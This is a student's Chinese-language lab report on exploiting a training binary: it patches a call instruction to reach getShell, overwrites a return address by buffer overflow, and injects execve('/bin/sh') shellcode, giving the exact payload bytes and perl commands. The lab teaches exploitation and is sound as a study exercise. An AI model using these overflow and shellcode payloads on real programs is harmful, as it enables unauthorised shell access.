20222403 2024-2025-1 《网络与系统攻防技术》实验一实验报告

news/2024/10/10 22:56:35

1.实验内容

本周学习内容

1.熟悉基本的汇编语言指令及其功能。
2.掌握了栈与堆的概念及其在进程内存管理中的应用以及用户态与内核态的区别。
3.熟练运用了Linux系统下的基本操作命令。

2.实验过程

任务一 直接修改程序机器指令,改变程序执行流程
下载并解压目标文件pwn1,然后拖入虚拟机kali,并将其重命名为20222403QiaoXu。

使用命令objdump -d 20222403QiaoXu对文件20222403QiaoXu进行反汇编。
找到80484b5这一行,从这里可以看到这条指令将调用位于地址8048491处的foo函数,也就是说main函数是调用foo的,对应机器指令为e8 d7ffffff,e8是跳转的意思。

如果想让它调用getShell,只要修改“d7ffffff”为"getShell-80484ba"对应的补码就行,经过计算得到补码c3ffffff。
先用指令cp pwn1 pwn2,再使用命令vi打开文件进行编辑,输入:%!xxd将显示模式切换为16进制模式,并查找要修改的内容。

将d7ffffff变为c3ffffff。输入:%!xxd -r转换16进制为原格式,:wq保存修改。
再反汇编看一下,call指令是否正确调用getShell。

说明修改成功,这次call指令可以调用getShell了。
运行修改后的代码可以发现shell提示符

任务二 通过构造输入参数,造成BOF攻击,改变程序执行流
从上一个任务看到,该可执行文件正常运行是调用foo函数,但只预留了56字节的缓冲区,有Buffer overflow漏洞,超出部分会造成溢出,我们的目标是覆盖返回地址,触发getShell函数。
输入gdb 20222403QiaoXu指令后,发现kali并没有自带gdb,所以使用指令“sudo apt update” 和 “sudo apt install gdb”进行安装。


接下来确认输入字符串哪几个字符会覆盖到返回地址。
先后使用gdb 20222403QiaoXu、(gdb) r,输入1111111122222222333333334444444455555555,之后使用info r查看EIP寄存器中的数据。

eip中存的地址变成了 0x35353535。
重复以上步骤,输入1111111122222222333333334444444412345678。

eip中存的地址变成了 0x34333231,也就是4321。
由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件,\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。,所以先使用命令perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input生成包括这样字符串的文件,再使用16进制查看指令xxd input查看文件的内容是否符合预期。

然后将input的输入,通过管道符“|”,作为20222403QiaoXu的输入。
任务三 注入Shellcode并执行
首先修改堆栈设置,但是没有安装execstack,于是先使用命令sudo apt-get upgrade,sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb等指令安装此工具。

接下来修改堆栈设置完成准备工作。

构造要注入的payload:perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode,然后打开终端注入攻击buf:

打开另外一个终端,用gdb来调试,先看一下20222403QiaoXu的进程号。

然后启动gdb调试这个进程。

通过设置断点,来查看注入buf的内存地址.


在另外一个终端中按下回车,由于shellcode是紧挨着返回地址,所以可以计算shellcode的地址应为0xbffb1150,需要把返回地址改为erl -e 'print "A" x 32;print "\x50\x11\xfb\xbf\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

3.问题及解决方案
问题1:系统显示无gdb,需要安装。
问题1解决方案:使用“sudo apt update” 和 “sudo apt install gdb”指令进行安装

问题2:execstack不存在,无法查找
问题2解决方案:再官网上下载文件,拖入虚拟机中,解压即可。
4.学习感悟、思考等
第一次网络与系统攻防技术实验,我像往常提前看了实验指导书,感觉无从下手,因为实验目的、实验要求非常不明确。实验开始后,我按着实验指导一步一步做,但是总遇到问题,不是没有打开桌面文件,就是没有虚拟机不停卡顿。实验过程中,总是遇到细节上的问题,通过不断再网上查找,问同学,终于逐步将实验进行下去。这次试验考验了我的耐心,也培养了我自主思考的能力。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/69988.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

特斯拉 Robotaxi 发布会 All In One

特斯拉 Robotaxi 发布会 All In One Tesla Robotaxi特斯拉 Robotaxi 发布会 All In OneTesla RobotaxiX 直播链接Broadcasthttps://x.com/i/broadcasts/1YqJDkbjazvGV demosTesla Robotaxi Event on October 11th at 04:00.https://www.youtube.com/watch?v=FXGJl1gG6wI(🐞 …

海外SRC信息收集工具

海外SRC信息收集 ​ 子域名爆破工具:bbot,subfinder ​ 相关测评:https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off ​ bbot收集的子域名最多,subfinder跑的最快 ​ ​ bbot使用 ​ api配置:vim ~/.conf…

The 3rd Universal Cup 做题记录 (2)

The 3rd Universal Cup 做题记录 Stage 0 - Stage 9:The 3rd Universal Cup 做题记录 (1) Stage 10 - Stage 19:The 3rd Universal Cup 做题记录 (2) The 3rd Universal Cup. Stage 10: West Lake A. Italian Cuisine 复制一遍,枚举 \(i\) 维护右端点 \(j\)。要求 \((x,y)\)…

月灵4.31传奇永恒安装教程+无需虚拟机+GM

今天给大家带来一款单机游戏的架设:月灵4.31传奇永恒服务端客户端1.0.3.94。 注意:这个是能开门的版本。 另外:本人承接各种游戏架设(单机+联网) 本人为了学习和研究软件内含的设计思想和原理,带了架设教程仅供娱乐。教程是本人亲自搭建成功的,绝对是完整可运行的,踩过…

软件工程第二次结对作业之程序实现

软件工程第二次结对作业之程序实现这个作业属于哪个课程 https://edu.cnblogs.com/campus/fzu/SE2024这个作业要求在哪里 https://edu.cnblogs.com/campus/fzu/SE2024/homework/13281这个作业的目标 实现第一次结对作业设计的小程序学号 102202116结对成员学号 102202116李迦勒…

2024.10.10 鲜花(原 I 的交互程序改)

图论 2 I 的交互库Roads in E City夜曲 一群嗜血的蚂蚁 被腐肉所吸引 我面无表情 看孤独的风景 失去你 爱恨开始分明 失去你 还有什么事好关心 当鸽子不再象征和平 我终于被提醒 广场上喂食的是秃鹰 我用漂亮的押韵 形容被掠夺一空的爱情 啊 乌云开始遮蔽 夜色不干净 公园里 葬…

IDEA中git如何快捷的使用Cherry-Pick功能

前言 我们在使用IDEA开发时,一般是使用GIT来管理我们的代码,有时候,我们需要在我们开发的主分支上合并其他分支的部分提交代码。注意,是部分,不是那个分支的全部提交,这时候,我们就需要使用Cherry-Pick功能了。 对于不太习惯使用命令来操作GIT的我们来说,可以使用IDEA自…

软件工程第二次结对作业 编程实现

这个作业属于哪个课程 https://edu.cnblogs.com/campus/fzu/SE2024这个作业要求在哪里 https://edu.cnblogs.com/campus/fzu/SE2024/homework/13281这个作业的目标 Web、APP、小程序中三选一实现,可以让用户在其中发布自己想做的项目(包含必要项目信息),用户能够在其中实时…